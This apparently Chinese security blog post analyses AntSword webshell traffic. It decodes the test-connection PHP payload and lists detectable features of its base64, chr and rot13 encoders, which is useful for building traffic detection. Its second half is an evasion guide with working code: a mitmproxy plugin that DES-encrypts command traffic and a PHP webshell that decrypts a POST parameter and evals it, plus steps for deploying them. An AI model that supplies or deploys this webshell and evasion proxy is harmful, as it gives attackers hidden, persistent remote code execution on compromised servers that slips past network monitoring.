蚁剑流量分析

环境搭建

  • 搭建php环境使用经典的一句话作为web端的shell文件。
  • 设置蚁剑代理,使用burp抓包分析流量。


流量分析

default测试流量分析

分析测试连接数据包。

因为这里使用的一句话是,所以这里post数据中有一个x参数,后面跟上了命令。从数据包中还可以看到蚁剑的UA头是antSword/v2.1,这是一个很明显的特征更改方式会在下文中提出,现在先分析测试连接数据包中的内容,将数据包进行url编码并格式化后得到如下代码:


<?php 
    @ini_set("display_errors", "0");  # 临时关闭PHP的错误显示功能。
    @set_time_limit(0);  # 设置执行时间,为零表示执行永久执行直到程序结束,防止超时。
    function asenc($out) {  #  创建asenc函数,此函数功能是接收参数然后直接返回
        return $out;
    }
    ;
    function asoutput() {
        $output=ob_get_contents();  # 返回输出缓冲区的内容
        ob_end_clean();  # 清空(擦除)缓冲区并关闭输出缓冲
        echo "d3cb3bf73a";  # 随机字符,作为开始和结束的分隔符
        echo @asenc($output); # 输出缓冲区的内容
        echo "f2ac69e9";
    }
    # 打开输出控制缓冲,将需要输出的内容存储在内部缓冲区中
    # asoutput变量中的ob_get_contents函数会将内部缓冲区的内容复制到output变量中
    ob_start();
    try {
        # $_SERVER['SCRIPT_FILENAME']全局预定义变量用于获取当前执行脚本的完整路径
        # dirname()函数获取给定文件路径中的目录部分
        $D=dirname($_SERVER["SCRIPT_FILENAME"]);  # 获取当前执行脚本的执行目录
        # $_SERVER["PATH_TRANSLATED"]获取脚本所在文件系统(不是文档根目录)的基本路径
        if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
        # 把得到的目录信息赋值给$R
        $R="{$D}    ";
        #  先判断$D的第一位是不是 /,如果不是则为windows系统开始判断磁盘数
        if(substr($D,0,1)!="/") {
            foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";  # is_dir此函数的结果会被缓存然后被asoutput函数输出
        } 
        # 假如是linux的,就直接在后面加了个 /
        else {
            $R.="/";
        }
        $R.="   "; # tab为了美化输出
        # function_exists如果给定的函数已经被定义就返回 TRUE
        # posix_getpwuid通过用户ID返回有关用户的信息
        # posix_geteuid返回当前进程的有效用户ID 
        # 判断posix_getegid函数是否存在,如果存在posix_getegid函数存在就获取信息赋值给$u,否则$u为空
        $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
        # 判断$u是否为空,如果不为空就获取键值为name的值给$s,否则用get_current_user函数获取当前PHP脚本所有者的名称赋值给$s
        $s=($u)?$u["name"]:@get_current_user();  # get_current_user以字符串返回用户名
        $R.=php_uname();  # php_uname() 返回了运行 PHP 的操作系统的描述
        $R.="   {$s}"; # 拼接后得到测试连接包返回的信息
        echo $R;
        ;
    }
    # 假如出错就返回错误信息
    catch(Exception $e) {
        echo "ERROR://".$e->getMessage();
    }
    ;
    asoutput(); # 调用上面asoutput函数输出缓冲区内容
    die(); # 输出一个消息并且退出当前脚本
 ?>

通过输出测试连接数据包中携带的代码可以看出测试连接数据包主要获取了服务端当前目录、根目录、系统和当前用户名等信息,输入到缓冲区再由$output变量接收,通过随机字符作为开始结束符定位变量输出位置。
蚁剑中也支持自定义的数据分割符:

base64测试流量分析

下面设置蚁剑的编码器为base64,解码器是default

通过burp抓取测试连接的数据包,可以发现蚁剑会随机生成一个参数传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行

将代码base64解码后还原发现代码与default代码相同,只是在传参的时候将要执行的代码进行了base64编码

如果将解码器设置为base64,可以看到响应包内容会进行base64编码返回:

首先将数据包进行url解码再进行base64解码格式化得到执行代码,通过与default代码对比分析发现只有如下不同:

也就是说选择的解码器会在asenc函数中将输出的内容进行编码后由蚁剑进行解密。

chr测试流量分析

如下图所示,chr编码模式下的数据包:

通过数据包可发现,chr编码下的数据会先将代码的每一个字符进行Ascii的编码通过chr函数返回字符然后eval执行

rot13测试流量分析

通过数据包可发现,蚁剑会随机生成一个参数传入rot13编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行rot13解码后使用eval执行,可以发现rot13和base64编码方式都是获取随机参数的值解码后eval执行。此次解码器设置的是rot13,可以发现响应包的数据进行了rot13编码。

通过上面描述的base64解码器代码中的内容可推测设置解码器为rot13,那么就会在asenc函数中将返回值进行rot13编码后由蚁剑解码。

编码流量分析总结

通过以上不同编码方式产生的数据可以看到虽然代码进行了编码操作,但是数据包中仍有明显的特征,测试流量中的数据包都是采用@ini_set函数开头,在base64数据包中它是QGluaV9zZXQ,在chr编码数据包中是cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116),在rot13编码数据包中是@vav_frg并且编码后的数据包中都存在eval这个敏感函数。其实只要原始数据不变无论执行怎样的编码操作发送的请求都是相同的,那么就可以找寻编码后的特征进行流量检测。

流量改造

更改UA头

将antSword/modules/request.js文件中的常量USER_AGENT的值更改为自定义ua头。

重启蚁剑后成功更改UA头。

自带RSA编码器

从AntSword v2.1.0版本开始,新增了PHP RSA编码器,AntSword下拉菜单中找到编码设置,点击RSA配置输入公钥和私钥后点击生成会生成一段PHP shell代码。

复制代码并上传到服务器,然后点击新建编码器创建一个PHP RSA编码器,之后连接生成shell文件,选择编码器为刚刚创建的PHP RSA编码器测试连接。需要注意的是蚁剑自动生成的shell代码需要进行免杀操作。

再来看看流量已经完全加密,如下

代理中转加密

利用代理工具将蚁剑传输的数据进行自定义加密后发送给webshell,由webshell解密数据进行执行。原理类似下图:

在这里使用MitmProxy作为代理,编写MitmProxy插件对数据进行加解密,直接pip安装MitmProxy即可(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)

mitmproxy插件


import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote
key = "1qaz2wsx"
# 加密
def encrypt_str(key,data):
    # 加密方法
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 执行加密码
    k = method.encrypt(data)
    # 转base64编码并返回
    return base64.b64encode(k)
# 解密
def decrypt_str(key,data):
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 对base64编码解码
    k = base64.b64decode(data)
    # 再执行Des解密并返回
    return method.decrypt(k)
class Counter:
    def __init__(self):
        pass
    def request(self, flow: mitmproxy.http.HTTPFlow):
        """ 请求包修改 """
        location = str(flow.request.content).find("&x") # 这里的x是连接密码,需要自己修改
        if location == -1:
            # 对测试连接流量进行加密
            password = str(flow.request.content).split('=',1)[0]
            content = str(flow.request.content).split('=',1)[1]
            # 对传输的代码进行加密
            content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8")
            can = password + "="
            can = bytes(can,encoding="utf-8")
            content = can + content
            content = str(content)
            # 删除content  str后产生的多余的字节流标志
            content = content.replace("b\"b\'","")
        else:
            # 对具体执行的操作进行加密,包括文件相关以及命令相关的所有数据
            parameter = str(flow.request.content)[0:location]
            content = str(flow.request.content)[location + 1:]
            password = content.split('=',1)[0]
            content = content.split('=',1)[1] # + parameter
            content = content.replace("\'&b\'","&")
            content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8")
            can2 = "&" + password + "="
            can2 = bytes(can2,encoding="utf-8")
            parameter = bytes(parameter,encoding="utf-8")
            content = parameter + can2 + content 
            print(content)
            content = str(content)
            # 删除content  str后产生的多余的字节流标志
            content = content.replace("b\"b\'","")
            content = content.replace("b\"","")
            content = content.replace("b\'","")
        
        # 发送加密后的数据
        flow.request.content = bytes(content, encoding="utf-8")
        print(flow.request.content)
        
    def response(self,flow: mitmproxy.http.HTTPFlow):
        """ 响应包返回 """
        print(flow.response.content)
addons = [
    Counter()
]

PHP webshell


<?php 
    // 加密
    function des_encrypt($str, $key) {
        $block = mcrypt_get_block_size('des', 'ecb');
        $pad = $block - (strlen($str) % $block);
        $str .= str_repeat(chr($pad), $pad);
        return mcrypt_encrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
    }
    // 解密
    function des_decrypt($str, $key) {
        // $str = urldecode($str);
        $str = base64_decode($str);
        // echo $str;
        $str = mcrypt_decrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB);
        $len = strlen($str);
        $block = mcrypt_get_block_size('des', 'ecb');
        $pad = ord($str[$len - 1]);
        $str = urldecode($str);
        $str = rtrim($str, "\x00..\x1F");
        $str = substr($str, 0, -1);
        // return $str;
        // echo $str;
        return substr($str, 0, $len - $pad);
    }
    //设置AES秘钥
    $key = '1qaz2wsx'; //此处填写前后端共同约定的秘钥
    $content = $_POST["x"];
    $code = des_decrypt($content, $key);
    @eval($code);
 ?>

使用

  1. 将支持 DES 加密的 Webshell 上传到服务器
  2. 运行下列代码开启代理中转(使用 -p 可以自定以端口

Windows:mitmdump -k -s 插件路径 Linux:mitmproxy -k -s 插件路径

  1. 蚁剑添加mitmproxy代理,默认端口8080

完成上面步骤首先测试测试连接流量数据,数据如下所示已经完全加密并且正常获取到响应(在星号之间的数据是发送的数据,在等号之间的是获取的响应)

然后接下来测试文件相关操作,可以正常获取数据,经过测试文件上传下载均正常使用。

接下来是命令执行相关的数据包加密情况:

可以看到命令执行相关的代码也进行了加密并且响应包正常返回。

总结

蚁剑作为一款开源工具,自带的编码器和解码器的特征是很明显的,由于蚁剑的开源所以可以通过更改配置文件来达到流量加密,也可以使用一些其他方式如代理中转方式进行流量加密,同样也可以编写蚁剑插件进行编码解码,流量加密的方式不止一种,选择自己擅长的就行。

参考资料

https://blog.csdn.net/qq_43622442/article/details/105596701
https://www.freebuf.com/articles/network/229193.html
https://www.anquanke.com/post/id/223085
https://cloud.tencent.com/developer/article/1578215